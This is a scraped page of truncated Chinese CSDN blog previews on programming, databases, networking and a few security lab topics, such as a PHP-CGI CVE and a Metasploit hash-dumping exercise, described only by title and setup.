欢迎来到CILMY23的博客 本篇主题为&#xff1a; 用C实现一个日期计算器 个人主页&#xff1a;CILMY23-CSDN博客 系列专栏&#xff1a;Python | C | C语言 | 数据结构与算法 | 贪心算法 | Linux 感谢观看&#xff0c;支持的可以给个一键三连&#xff0c;点赞关注收藏。 写在…

【数据结构】环状链表OJ题

✨✨✨专栏&#xff1a;数据结构 &#x1f9d1;‍&#x1f393;个人主页&#xff1a;SWsunlight 一、OJ 环形链表&#xff1a; 快慢指针即可解决问题: 2情况&#xff1a; 快指针走到结尾&#xff08;不是环&#xff09;快指针和尾指针相遇&#xff08;是环的&#xff09; …

(CVE-2012-1823)PHP-CGI远程代码执行漏洞(80端口)

&#xff08;CVE-2012-1823&#xff09;PHP-CGI远程代码执行漏洞&#xff08;80端口&#xff09; 一、介绍二、漏洞影响三、原理四、漏洞复现 一、介绍 php-cgi是一个类似于消息的“传递者”&#xff0c;它接收web容器收到的http数据包&#xff0c;并把里面的数据交给PHP解释器…

清华发布Temporal Scaling Law,解释时间尺度对大模型表现的影响

众所周知&#xff0c; 语言模型调参&#xff01; 预训练语言模型调参&#xff01;&#xff01; 预训练大语言模型调参&#xff01;&#xff01;&#xff01; 简直就是一个指数级递增令人炸毛的事情&#xff0c;小编也常常在做梦&#xff0c;要是只训练几步就知道现在的超参…

python选修课期末考试复习

目录 记住输出小数的格式文件条件判断随想循环小星星计算金额猜数字折纸 函数找最大值 基础知识总结 记住输出小数的格式 输出a&#xff0c;保留两位小数 %.2f%a打开文件有点儿难&#xff0c;多记几遍格式吧 文件的格式后面有冒号&#xff0c;谨慎一点&#xff0c;都用双引号…

基于C++和Python基础的Golang学习笔记

文章目录 一、基础1.DOS命令2.变量&#xff08;1&#xff09;局部变量&#xff08;2&#xff09;全局变量&#xff08;3&#xff09;数据类型&#xff08;4&#xff09;指针&#xff08;5&#xff09;运算符&#xff08;6&#xff09;自定义数据类型 3.语句&#xff08;1&#…

第十四篇:数据库设计精粹:规范化与性能优化的艺术

数据库设计精粹&#xff1a;规范化与性能优化的艺术 1. 引言 1.1 数据库设计在现代应用中的核心地位 在数字化的浪潮中&#xff0c;数据库设计如同建筑师手中的蓝图&#xff0c;是构建信息大厦的基石。它不仅关乎数据的存储与检索&#xff0c;更是现代应用流畅运行的生命线。…

【SpringBoot】解锁后端测试新境界:学习Mockito与MockMvc的单元测试魔法

文章目录 前言&#xff1a;Java常见的单元测试框架一.Junit5基础二.SpringBoot项目单元测试1.添加依赖2.SpringBoot单元测试标准结构3.SpringBoot单元测试常用注解 三.单元测试中如何注入依赖对象1.真实注入&#xff08;AutoWired、 Resource&#xff09;2.Mock注入2.1.前言2.2…

资料总结分享:瀑布图,GESA,生存曲线

目录 瀑布图 GESA 生存曲线 瀑布图 肿瘤的瀑布图是一种常用的数据可视化方式&#xff0c;用于展示个体患者或研究样本的肿瘤基因组学数据&#xff0c;通常包括基因突变、基因拷贝数变异、染色体重排等信息。 颜色编码&#xff1a; 柱状图通常会使用颜色编码来表示不同类型…

Redis的数据淘汰策略——Java全栈知识(19)

Redis的数据淘汰策略 什么是数据淘汰策略 数据过期策略是 redis 中设置了 TTL 的数据过期的时候 Redis 的处理策略。数据淘汰策略是 Redis 内存不够的时候&#xff0c; 数据的淘汰策略&#xff1a;当 Redis 中的内存不够用时&#xff0c;此时在向 Redis 中添加新的 key, 那么…

IEEE 802.11标准

在IEEE 802.11标准中使用了扩频通信技术&#xff0c;主要作用是使得抗干扰性更强。 IEEE 802.11在MAC层采用了CSMA/CA协议。 IEEE 802.1x是一种基于端口认证协议。

开源web在线数据库设计软件 —— 筑梦之路

GitHub - drawdb-io/drawdb: Free, simple, and intuitive online database design tool and SQL generator. 简介 DrawDB是一款多功能且用户友好的在线工具&#xff0c;允许用户轻松设计数据库实体关系。通过简单直观的界面&#xff0c;DrawDB使用户能够创建图表、导出SQL脚本…

kettle经验篇:MongoDB-delete插件问题

目录 项目场景 问题分析 解决方案 MongoDB Delete插件使用总结 项目场景 项目使用的ODS层数据库是MongoDB&#xff1b;在数据中心从DB层向ODS层同步数据过程中&#xff0c;发现有张ODS表在同步过程中&#xff0c;数据突然发生锐减&#xff0c;甚至于该ODS表数据清0。 同步…

算法设计与分析 例题 绘制Huffman树、循环赛、分治、最短路与动态规划

1.考虑用哈夫曼算法来找字符a,b,c,d,e,f 的最优编码。这些字符出现在文件中 的频数之比为 20:10:6:4:44:16。要求&#xff1a; &#xff08;1&#xff09;&#xff08;4 分&#xff09;简述使用哈夫曼算法构造最优编码的基本步骤&#xff1b; &#xff08;2&#xff09;&…

Oracle 流stream数据的复制

Oracle 流stream数据的复制 --实验的目的是捕获scott.emp1表的变化&#xff0c;将变化应用到远程数据库scott.emp1表中。 --设置初始化参数 AQ_TM_PROCESSES1 COMPATIBLE9.2.0 LOG_PARALLELISM1 GLOBAL_NAMEStrue JOB_QUEUE_PROCESSES2 --查看数据库的名称&#xff0c;我的为o…

2024中国(重庆)机器人展览会8月举办

2024中国(重庆)机器人展览会8月举办 邀请函 主办单位&#xff1a; 中国航空学会 重庆市南岸区人民政府 招商执行单位&#xff1a; 重庆港华展览有限公司 2024中国重庆机器人展会将汇聚机器人全产业链知名企业&#xff0c;世界科技领先的生产制造企业与来自多个国家和地区…

蓝桥杯-网络安全比赛(6) 模拟实验 Metasploit 控制并获取Windows 登录HASH、LM Hash和NTLM Hash密文解析

窃取WINDOWS账号密码 系统环境&#xff1a;主机&#xff08;Windows系统 IP&#xff1a;192.168.126.129)&#xff0c;虚拟机&#xff08;KALI系统 IP&#xff1a;192.168.126.3&#xff09;&#xff0c;两者需要能通过本地网络互通互连。 攻击工具&#xff1a;Metasploit是一…

改变浏览器大小,图片(img)内容居中显示img标签,不是背景图

改变浏览器大小,图片&#xff08;img&#xff09;内容居中显示&#xff0c;img标签&#xff0c;不是背景图 效果直接上图&#xff1a; 上代码&#xff1a; <!DOCTYPE html> <html> <head><title>测试图片居中显示&#xff0c;高度不变只变宽度<…

Electron学习笔记(五)

文章目录 相关笔记笔记说明 七、系统1、系统对话框2、自定义窗口菜单3、系统右键菜单4、快捷键(1)、监听网页按键事件 &#xff08;窗口需处于激活状态&#xff09;(2)、监听全局按键事件 &#xff08;窗口无需处于激活状态&#xff09;(3)、补充&#xff1a;自定义窗口菜单快捷…